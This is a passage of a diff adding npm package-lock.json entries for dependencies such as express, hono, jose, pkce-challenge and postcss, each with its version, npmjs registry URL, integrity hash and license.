+ "license": "MIT",
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/expect-type": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz",
+ "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">=12.0.0"
+ }
+ },
+ "node_modules/express": {
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz",
+ "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==",
+ "license": "MIT",
+ "dependencies": {
+ "accepts": "^2.0.0",
+ "body-parser": "^2.2.1",
+ "content-disposition": "^1.0.0",
+ "content-type": "^1.0.5",
+ "cookie": "^0.7.1",
+ "cookie-signature": "^1.2.1",
+ "debug": "^4.4.0",
+ "depd": "^2.0.0",
+ "encodeurl": "^2.0.0",
+ "escape-html": "^1.0.3",
+ "etag": "^1.8.1",
+ "finalhandler": "^2.1.0",
+ "fresh": "^2.0.0",
+ "http-errors": "^2.0.0",
+ "merge-descriptors": "^2.0.0",
+ "mime-types": "^3.0.0",
+ "on-finished": "^2.4.1",
+ "once": "^1.4.0",
+ "parseurl": "^1.3.3",
+ "proxy-addr": "^2.0.7",
+ "qs": "^6.14.0",
+ "range-parser": "^1.2.1",
+ "router": "^2.2.0",
+ "send": "^1.1.0",
+ "serve-static": "^2.2.0",
+ "statuses": "^2.0.1",
+ "type-is": "^2.0.1",
+ "vary": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/express-rate-limit": {
+ "version": "8.5.2",
+ "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.5.2.tgz",
+ "integrity": "sha512-5Kb34ipNX694DH48vN9irak1Qx30nb0PLYHXfJgw4YEjiC3ZEmZJhwOp+VfiCYwFzvFTdB9QkArYS5kXa2cx2A==",
+ "license": "MIT",
+ "dependencies": {
+ "ip-address": "^10.2.0"
+ },
+ "engines": {
+ "node": ">= 16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/express-rate-limit"
+ },
+ "peerDependencies": {
+ "express": ">= 4.11"
+ }
+ },
+ "node_modules/fast-deep-equal": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
+ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
+ "license": "MIT"
+ },
+ "node_modules/fast-uri": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.3.tgz",
+ "integrity": "sha512-i70LwGWUduXqzicKXWshooq+sWL1K3WUU5rKZNG/0i3a1OSoX3HqhH5WbWwTmqWfor4urUakGPiRQcleRZTwOg==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/fastify"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/fastify"
+ }
+ ],
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/fdir": {
+ "version": "6.5.0",
+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12.0.0"
+ },
+ "peerDependencies": {
+ "picomatch": "^3 || ^4"
+ },
+ "peerDependenciesMeta": {
+ "picomatch": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/finalhandler": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz",
+ "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==",
+ "license": "MIT",
+ "dependencies": {
+ "debug": "^4.4.0",
+ "encodeurl": "^2.0.0",
+ "escape-html": "^1.0.3",
+ "on-finished": "^2.4.1",
+ "parseurl": "^1.3.3",
+ "statuses": "^2.0.1"
+ },
+ "engines": {
+ "node": ">= 18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/fix-dts-default-cjs-exports": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/fix-dts-default-cjs-exports/-/fix-dts-default-cjs-exports-1.0.1.tgz",
+ "integrity": "sha512-pVIECanWFC61Hzl2+oOCtoJ3F17kglZC/6N94eRWycFgBH35hHx0Li604ZIzhseh97mf2p0cv7vVrOZGoqhlEg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "magic-string": "^0.30.17",
+ "mlly": "^1.7.4",
+ "rollup": "^4.34.8"
+ }
+ },
+ "node_modules/forwarded": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
+ "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/fresh": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz",
+ "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/fsevents": {
+ "version": "2.3.3",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
+ "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
+ "dev": true,
+ "hasInstallScript": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/function-bind": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+ "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/get-intrinsic": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
+ "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.2",
+ "es-define-property": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.1.1",
+ "function-bind": "^1.1.2",
+ "get-proto": "^1.0.1",
+ "gopd": "^1.2.0",
+ "has-symbols": "^1.1.0",
+ "hasown": "^2.0.2",
+ "math-intrinsics": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/get-proto": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
+ "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
+ "license": "MIT",
+ "dependencies": {
+ "dunder-proto": "^1.0.1",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/gopd": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+ "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-symbols": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+ "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/hasown": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz",
+ "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==",
+ "license": "MIT",
+ "dependencies": {
+ "function-bind": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/hono": {
+ "version": "4.12.30",
+ "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.30.tgz",
+ "integrity": "sha512-emn+JoJjrN9YTpRDS5it/UI2SO9BAE37T6I3d963RxcZ81G9A4pr2SZTEiiaiKbzx+NKRg5BZ89fCL7gCJCUog==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=16.9.0"
+ }
+ },
+ "node_modules/http-errors": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
+ "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
+ "license": "MIT",
+ "dependencies": {
+ "depd": "~2.0.0",
+ "inherits": "~2.0.4",
+ "setprototypeof": "~1.2.0",
+ "statuses": "~2.0.2",
+ "toidentifier": "~1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.8"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/iconv-lite": {
+ "version": "0.7.3",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz",
+ "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==",
+ "license": "MIT",
+ "dependencies": {
+ "safer-buffer": ">= 2.1.2 < 3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/inherits": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+ "license": "ISC"
+ },
+ "node_modules/ip-address": {
+ "version": "10.2.0",
+ "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.2.0.tgz",
+ "integrity": "sha512-/+S6j4E9AHvW9SWMSEY9Xfy66O5PWvVEJ08O0y5JGyEKQpojb0K0GKpz/v5HJ/G0vi3D2sjGK78119oXZeE0qA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 12"
+ }
+ },
+ "node_modules/ipaddr.js": {
+ "version": "1.9.1",
+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+ "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/is-fullwidth-code-point": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/is-promise": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz",
+ "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==",
+ "license": "MIT"
+ },
+ "node_modules/isexe": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+ "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+ "license": "ISC"
+ },
+ "node_modules/jose": {
+ "version": "6.2.3",
+ "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.3.tgz",
+ "integrity": "sha512-YYVDInQKFJfR/xa3ojUTl8c2KoTwiL1R5Wg9YCydwH0x0B9grbzlg5HC7mMjCtUJjbQ/YnGEZIhI5tCgfTb4Hw==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/panva"
+ }
+ },
+ "node_modules/joycon": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/joycon/-/joycon-3.1.1.tgz",
+ "integrity": "sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/json-schema-traverse": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
+ "license": "MIT"
+ },
+ "node_modules/json-schema-typed": {
+ "version": "8.0.2",
+ "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz",
+ "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==",
+ "license": "BSD-2-Clause"
+ },
+ "node_modules/lilconfig": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
+ "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=14"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/antonk52"
+ }
+ },
+ "node_modules/lines-and-columns": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/load-tsconfig": {
+ "version": "0.2.5",
+ "resolved": "https://registry.npmjs.org/load-tsconfig/-/load-tsconfig-0.2.5.tgz",
+ "integrity": "sha512-IXO6OCs9yg8tMKzfPZ1YmheJbZCiEsnBdcB03l0OcfK9prKnJb96siuHCr5Fl37/yo9DnKU+TLpxzTUspw9shg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+ }
+ },
+ "node_modules/loupe": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/loupe/-/loupe-3.2.1.tgz",
+ "integrity": "sha512-CdzqowRJCeLU72bHvWqwRBBlLcMEtIvGrlvef74kMnV2AolS9Y8xUv1I0U/MNAWMhBlKIoyuEgoJ0t/bbwHbLQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/magic-string": {
+ "version": "0.30.21",
+ "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
+ "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jridgewell/sourcemap-codec": "^1.5.5"
+ }
+ },
+ "node_modules/math-intrinsics": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
+ "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/media-typer": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz",
+ "integrity": "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/merge-descriptors": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz",
+ "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/mime-db": {
+ "version": "1.54.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
+ "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/mime-types": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
+ "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==",
+ "license": "MIT",
+ "dependencies": {
+ "mime-db": "^1.54.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/mlly": {
+ "version": "1.8.2",
+ "resolved": "https://registry.npmjs.org/mlly/-/mlly-1.8.2.tgz",
+ "integrity": "sha512-d+ObxMQFmbt10sretNDytwt85VrbkhhUA/JBGm1MPaWJ65Cl4wOgLaB1NYvJSZ0Ef03MMEU/0xpPMXUIQ29UfA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "acorn": "^8.16.0",
+ "pathe": "^2.0.3",
+ "pkg-types": "^1.3.1",
+ "ufo": "^1.6.3"
+ }
+ },
+ "node_modules/ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "license": "MIT"
+ },
+ "node_modules/mute-stream": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-2.0.0.tgz",
+ "integrity": "sha512-WWdIxpyjEn+FhQJQQv9aQAYlHoNVdzIzUySNV1gHUPDSdZJ3yZn7pAAbQcV7B56Mvu881q9FZV+0Vx2xC44VWA==",
+ "license": "ISC",
+ "engines": {
+ "node": "^18.17.0 || >=20.5.0"
+ }
+ },
+ "node_modules/mz": {
+ "version": "2.7.0",
+ "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
+ "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "any-promise": "^1.0.0",
+ "object-assign": "^4.0.1",
+ "thenify-all": "^1.0.0"
+ }
+ },
+ "node_modules/nanoid": {
+ "version": "3.3.16",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.16.tgz",
+ "integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "license": "MIT",
+ "bin": {
+ "nanoid": "bin/nanoid.cjs"
+ },
+ "engines": {
+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+ }
+ },
+ "node_modules/negotiator": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz",
+ "integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/object-assign": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+ "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/object-inspect": {
+ "version": "1.13.4",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
+ "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/on-finished": {
+ "version": "2.4.1",
+ "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
+ "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
+ "license": "MIT",
+ "dependencies": {
+ "ee-first": "1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/once": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+ "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+ "license": "ISC",
+ "dependencies": {
+ "wrappy": "1"
+ }
+ },
+ "node_modules/parseurl": {
+ "version": "1.3.3",
+ "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
+ "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/path-key": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/path-to-regexp": {
+ "version": "8.4.2",
+ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz",
+ "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==",
+ "license": "MIT",
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/pathe": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz",
+ "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/pathval": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/pathval/-/pathval-2.0.1.tgz",
+ "integrity": "sha512-//nshmD55c46FuFw26xV/xFAaB5HF9Xdap7HJBBnrKdAd6/GxDBaNA1870O79+9ueg61cZLSVc+OaFlfmObYVQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 14.16"
+ }
+ },
+ "node_modules/picocolors": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+ "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/picomatch": {
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz",
+ "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/pirates": {
+ "version": "4.0.7",
+ "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz",
+ "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/pkce-challenge": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz",
+ "integrity": "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=16.20.0"
+ }
+ },
+ "node_modules/pkg-types": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-1.3.1.tgz",
+ "integrity": "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "confbox": "^0.1.8",
+ "mlly": "^1.7.4",
+ "pathe": "^2.0.1"
+ }
+ },
+ "node_modules/postcss": {
+ "version": "8.5.19",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.19.tgz",
+ "integrity": "sha512-Mz8SaolMd8nB+G13WkORcxQKHZ/NE4xXevtkJHVuG+guo9/wYKlIMTKAqGdEmYOXR2ijPjTYNHssizdaVSUNdQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "tidelift",
